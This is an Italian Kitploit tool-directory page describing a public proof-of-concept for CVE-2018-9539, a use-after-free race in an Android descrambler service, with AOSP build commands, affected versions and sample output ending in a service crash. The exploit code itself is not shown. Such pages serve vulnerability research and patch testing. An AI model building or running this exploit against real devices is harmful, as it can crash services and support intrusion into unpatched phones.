Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-9539 — Codice PoC per CVE-2018-9539 | Kitploit
Strumenti/GitHubGitHub/tamirzb/cve-2018-9539
Sicurezza AndroidAnalisi delle VulnerabilitàExploitSicurezza MobileBinary Exploitation
GitHubtamirzb/cve-2018-9539

CVE-2018-9539

Codice PoC per CVE-2018-9539

Vedi Repository
2097 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-9539

Codice proof-of-concept per CVE-2018-9539

Se hai domande, puoi scrivermi in DM su Twitter (@tamir_zb).

Compilazione

Per compilare questo progetto:

  1. Scarica il codice sorgente di Android.
  2. Metti questo repository in AOSP/external.
  3. Esegui i seguenti comandi:
root@kitploit:~
cd AOSP
source build/envsetup.sh
make cas_race_uaf

Risultato

Eseguire questo PoC su una versione non patchata di Android (8.1-9.0 precedente a novembre 2018) dovrebbe portare a un use-after-free. Nota che questo PoC non è realmente pensato per essere eseguito su Android 8.1, poiché si aspetta che la UaF faccia crashare il servizio, cosa che accade solo in Android 9.0, quindi eseguire questo PoC su Android 8.1 risulterà in un ciclo infinito.

Ecco un esempio di output dell'esecuzione di questo PoC su Android 9.0:

root@kitploit:~
Objects prepared

Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...

Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...

...
...
...

Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...

Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)

Succeeded in 205 attempts
Scarica lo strumento